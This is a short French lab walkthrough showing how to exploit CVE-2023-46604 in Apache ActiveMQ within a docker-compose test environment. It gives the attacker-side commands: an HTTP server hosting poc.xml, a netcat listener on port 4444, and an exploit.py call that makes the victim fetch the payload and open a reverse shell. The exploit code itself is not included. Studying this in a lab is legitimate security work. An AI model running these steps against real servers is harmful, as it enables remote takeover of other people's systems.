CVE-2023-46604

CVE-2023-46604

Construisez un docker-compose contenant 2 images incluant la machine victime et la machine cible selon l'environnement requis. Sur la machine victime, démarrez ActiveMQ

Passez à la machine attaquante : • Ouvrez le service HTTP pour envoyer le PoC : python3 -m http.server

• Utilisez netcat pour écouter les connexions vers la machine attaquante nc -nlvp 4444

• Envoyez le payload pour créer une connexion reverse shell vers la machine attaquante python3 exploit.py -i 172.18.0.3 -p 61616 --xml http://172.18.0.2:8000/poc.xml Où :

• Exploit.py : fichier de code d'exploitation de la vulnérabilité
• -I 172.18.0.3 : Adresse IP de la machine envoyant le payload
• -p 61616 : Port sur lequel ActiveMQ de la machine victime écoute
• --xml http://172.18.0.2:8000/poc.xml : URL du fichier poc.xml sur la machine attaquante

On peut voir qu'après avoir exécuté la commande pour lancer le fichier ‘exploit.py’, le code d'exploitation envoie un fichier ‘poc.xml’ depuis le serveur web vers la cible, qui est l'adresse du service ActiveMQ en cours d'exécution sur le serveur cible. En même temps, le serveur web HTTP sur la machine attaquante reçoit une requête envoyée depuis l'adresse IP de la machine cible.

Après avoir envoyé le payload, passez au terminal qui écoute sur le port 4444 de la machine attaquante. On voit que le reverse shell de la machine victime a été reçu.